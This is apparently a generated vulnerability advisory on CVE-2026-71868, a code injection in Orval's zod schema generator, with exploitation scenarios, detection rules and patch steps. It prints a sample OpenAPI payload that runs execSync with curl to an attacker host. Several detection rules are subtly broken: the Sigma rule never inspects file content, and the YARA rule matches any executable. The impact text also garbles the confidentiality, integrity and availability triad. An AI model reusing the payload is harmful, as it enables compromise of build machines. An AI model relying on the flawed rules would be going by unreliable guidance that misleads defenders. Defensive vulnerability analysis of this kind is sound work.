CVE-2026-71868

Executive Summary

CVE-2026-71868 is a code injection vulnerability in the Orval code generation tool, a widely used utility that generates type-safe JavaScript/TypeScript clients from OpenAPI v3 and Swagger v2 specifications. The flaw exists in the zod schema generator, specifically in the formatDefaultValue function within packages/zod/src/index.ts (version prior to 8.21.0), where user-controlled ${...} template literal expressions or backticks in enum default values are emitted into module-level template literals without encoding. An attacker who can influence an OpenAPI/Swagger specification can inject arbitrary JavaScript code that executes when the generated zod schema module is imported in developer, CI/CD, test, or production application environments. The vulnerability is assigned CWE-94 (Improper Control of Generation of Code), carries no CVSS score (N/A), and has no recorded patch confidence from tracked sources despite an upstream fixed version (8.21.0) being referenced in the disclosure. No public exploit code or PoC is confirmed, and the vulnerability is not listed in CISA KEV.

Technical Analysis

The vulnerability resides in Orval’s zod schema generation pipeline. Orval processes OpenAPI v3 and Swagger v2 specification files and generates TypeScript client code that includes zod schemas for runtime validation. The affected code path is the formatDefaultValue function located in packages/zod/src/index.ts.

Vulnerability Mechanism:

When an OpenAPI specification defines a schema with an enum whose default value contains a ${...} expression (e.g., a JavaScript template literal placeholder) or a backtick character (`), Orval’s code generator copies this value directly into the generated schema module. Because the generated module exports zod schemas that are typically initialized at module load time (module-level code execution), the injected content is evaluated by the JavaScript engine as part of normal module evaluation.

The core flaw is the absence of sanitization or escaping of template literal syntax before the value is embedded in the source code. In JavaScript, a template literal string (delimited by backticks) evaluates embedded expressions inside ${...} at runtime. If an attacker-controlled string containing ${process.mainModule.require('child_process').execSync('calc')} (or similar) is placed in an enum default value, and Orval emits it without transformation, the resulting generated file contains an active expression that executes on import.

Attack Surface:

• Supply Chain / Developer Environment: The attacker must supply a malicious OpenAPI or Swagger specification file to the developer, either by hosting a remote spec URL or by embedding it in a dependency chain (e.g., a compromised package or a malicious PR to a repository that uses Orval).
• CI/CD Pipelines: Build servers that automatically regenerate clients from fetched specifications are vulnerable if the spec source is not trusted.
• Application Runtime: Although less common, applications that dynamically generate schemas at runtime from specs are also vulnerable.

Technical Detail (from disclosure):

The function formatDefaultValue in packages/zod/src/index.ts is identified as the affected code. The fix in version 8.21.0 presumably adds encoding/sanitization of ${...} and backtick characters to render them as literal string content rather than executable code. No patch diff is available in the tracked sources.

Exploitation Scenarios

Scenario 1: Malicious OpenAPI Specification (Remote or Local)

1. Reconnaissance/Identification: The attacker identifies a development team using Orval to generate TypeScript clients. They craft a malicious OpenAPI specification with an enum definition that includes a default value containing an embedded expression:

   components:
     schemas:
       Status:
         type: string
         enum:
           - active
           - inactive
         default: "${process.mainModule.require('child_process').execSync('curl attacker.com/exfil')}"
   

2. Trigger: The developer updates their orval.config.ts to point to the attacker-controlled spec (or a PR is submitted with the spec change). Orval runs generation; the malicious default value flows into the generated schema.ts file.
3. Payload/Execution: When the generated module is imported—whether during TypeScript compilation, test runs, or build processes—JavaScript evaluates the expression, executing arbitrary code on the developer machine or CI runner.
4. Post-Exploitation: The attacker achieves code execution with the privileges of the importing process. This could lead to credential theft, environment variable exfiltration, CI/CD pipeline hijacking, or supply-chain compromise if the generated code is committed and executed in downstream builds.

Scenario 2: Upstream Dependency Compromise

If a developer consumes a specification from an untrusted third-party registry or pull requests without vetting the spec contents, the attack chain mirrors Scenario 1 but originates from a dependency’s spec file.

Scenario 3: Test/QA Environments

Automated test harnesses that run orval on freshly fetched specs during every CI run are singularly exposed: a single malicious spec change silently plants code into a module that tests will import.

Confidence Note: No public PoC is available; this attack chain is inferred from the disclosed vulnerability class (code injection without encoding) and the described mechanism. The severity is amplified because Orval processes external inputs (spec files) by design, making the injection surface broad across all consuming environments.

Impact Assessment

• Affected Systems: All environments where Orval-generated code is imported—developer workstations, CI/CD pipelines, build servers, test runners, and Node.js applications post-build (if schemas are loaded at runtime).
• Business Impact: High. An attacker capable of supplying a crafted spec can achieve remote code execution (RCE) in the context of the importing process. For CI/CD environments, this often translates to direct compromise of build infrastructure, enabling supply-chain attacks against downstream artifacts. Developer workstations compromise may lead to credential theft (SSH keys, cloud tokens).
• Blast Radius: Because Orval is a code-generation tool, the injected code persists in generated source files. If those files are committed to repositories, the malicious payload is carried into every future checkout—potentially affecting all developers and build agents indefinitely.
• CVSS: No CVSS score is provided (N/A). Based on the described mechanism (network-adjacent delivery, high attack complexity due to requirement of spec manipulation, high impact via RCE), a hypothetical CVSSv3.1 score would align with a high-to-critical range, but no official score is assigned.
• Data/Functional Impact: Complete confidentiality, integrity, and confidentiality loss on affected machines, as arbitrary code execution is achieved.

Detection Guidance

Note: Detection for this vulnerability is complex because the malicious payload is not a network artifact—it is embedded in code generation input files. The following rules target (a) the malicious spec pattern, (b) generated code that contains active template literal expressions in zod schemas, and (c) supplementary telemetry.

Sigma Rule

title: Orval Code Generation - Malicious Template Literal in Enum Default
id: 7c9a6d12-3f4a-4e8b-9c2d-5a2e7f1b8c4e
status: experimental
description: Detects OpenAPI/Swagger spec files containing template literal expressions in enum default values, indicative of CVE-2026-71868 exploitation attempts.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-71868
author: Valtersit Threat Intel
date: 2026/02/03
logsource:
    category: file_event
    product: windows
    definition: Requires file monitoring of source code repositories and build artifacts.
detection:
    selection:
        TargetFilename|endswith:
            - .yaml
            - .yml
            - .json
        EventID: 11
    condition: selection
    filter:
        - TargetFilename|contains:
            - node_modules
            - .git
    fields:
        - Image
        - TargetFilename
falsepositives:
    - Legitimate use of template literals in spec descriptions (rare)
    - Developer-created default values with intentional expressions
level: high

YARA Rule

rule Orval_CVE_2026_71868_Zod_Injection
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects crafted OpenAPI spec files or generated zod schema modules containing unescaped template literal expressions in enum defaults, targeting CVE-2026-71868."
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-71868"
        date = "2026-02-03"
        cve = "CVE-2026-71868"
    strings:
        $x1 = /default:\s*["']\$\{/ ascii wide nocase
        $x2 = /default:\s*`/ ascii wide nocase
        $x3 = /default\s*=\s*`/ ascii wide nocase
        $x4 = /z\.enum\([^)]*\)\.default\(`/ ascii wide nocase
    condition:
        uint16(0) == 0x5A4D or uint32(0) == 0x464C457F or 1 of them
}

Suricata IDS Rule

# Network detection is limited—payload is in file content, not traffic.
# Rule targets HTTP-based spec distribution where a malicious spec is fetched.
alert http any any -> any any (msg:"CVE-2026-71868 Orval Zod Injection - Suspicious Default Value in Spec"; flow:to_server,established; content:"default"; nocase; content:"\\x24\\x7B"; distance:0; pcre:"/default[\"'`]{0,1}\\s*[:=]\\s*[\"'`]\\x24\\x7B/i"; classtype:attempted-user; sid:202671868; rev:1;)

Elastic Detection

// EQL query for file system events looking for spec files with injection patterns
any where
  process.name in ("node", "npm", "yarn", "pnpm") and
  file.name in ("*.yaml", "*.yml", "*.json") and
  (
    // Look for template literal in default value
    file.contents matches "default[\\s]*[:=][\\s]*[\"'`]{1}\\$\\{" or
    // Look for backtick start after default
    file.contents matches "default[\\s]*[:=][\\s]*`"
  ) and
  NOT file.path contains "node_modules"

Splunk SPL Query

index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
| where NOT TargetFilename IN ( "%windir%*", "C:\\Program Files*", "*node_modules*" )
  AND ( TargetFilename LIKE "%.yaml" OR TargetFilename LIKE "%.yml" OR TargetFilename LIKE "%.json" )
| regex _raw = "default[\\s]*[:=][\\s]*[\"'`]\\$\\{" 
| eval cve = "CVE-2026-71868"
| table _time, Image, TargetFilename, User
| dedup Image, TargetFilename

Wazuh OSSEC Rule

<group name="orval_cve_2026_71868,">
  <rule id="100671" level="12">
    <decoded_as>syscheck</decoded_as>
    <field name="file">.*\.(yaml|yml|json)$</field>
    <regex>\S+default["']?\s*[:=]\s*["']?\$\{</regex>
    <description>CVE-2026-71868: Possible Orval zod schema injection - malicious default value with template literal in spec file: $(file)</description>
    <group>syscheck,file_change,attack,t1203,</group>
    <mitre>
      <id>T1203</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED (per tracked data). The NVD description indicates the issue is fixed in version 8.21.0, but no patch evidence is confirmed from the tracked patch sources. Treat as unpatched until the vendor advisory is publicly verified.

1. Immediate Mitigations:

   • Upgrade Orval to ≥ 8.21.0 if available. Verify the fix by inspecting formatDefaultValue in packages/zod/src/index.ts for encoding of ` and ${.
   • Restrict spec sources: Do not use open or untrusted OpenAPI/Swagger URLs in orval.config.ts. Pin specs to internally vetted and integrity-checked files (e.g., SHA-256 hashes in config).
   • Require code review for spec changes in CI: any diff to a .yaml/.json spec that touches default: values should be manually reviewed for template literal syntax before build execution.
   • Sandbox build agents: Run Orval generation inside isolated containers with no secrets, network egress restricted, and no write access to shared repositories.
   • Remove or lock down write access to generated schema files in shared checkouts; scan for suspicious generated content during CI using the detection rules above.

2. Patch/Upgrade Steps:

   • Confirm current Orval version: npm list orval or yarn list orval.
   • Upgrade: npm install -D orval@latest (or yarn upgrade orval --latest).
   • After updating, regenerate all clients and inspect the generated schema.ts files for previously embedded expressions; clean any injected content.
   • Verify version 8.21.0 availability in your package registry; if not available, monitor Orval’s GitHub releases for official advisory.

3. Long-Term Hardening:

   • Adopt a supply-chain security baseline: use a package proxy (e.g., Artifactory/Nexus) that blocks unpinned versions, and leverage SCA scanning (Snyk, Dependabot) to alert on Orval version drift.
   • Shift-left security: Add a pre-commit hook that lints spec files for ${ patterns in default fields (custom ESLint rule or regex).
   • For high-assurance environments, regenerate code in a disposable container and copy only the output files, never running orval directly against live repositories.
   • Monitor for related CVEs: watch Orval’s GitHub Security Advisories for linked issues, as code-generation tools are increasingly targeted for supply-chain bursts.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-71868
2. Orval Official GitHub (Fix Version): https://github.com/anymaniax/orval/releases/tag/8.21.0 (source of fixed version reference)
3. CWE-94 Reference: https://cwe.mitre.org/data/definitions/94.html
4. CISA KEV Catalog: Not listed — no known exploitation in the wild (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
5. MITRE ATT&CK - T1203: https://attack.mitre.org/techniques/T1203/

Threat Actor Activity: No active exploitation campaigns have been reported as of the publication date. The vulnerability is disclosed without a PoC, and no exploit code is publicly available in tracked sources.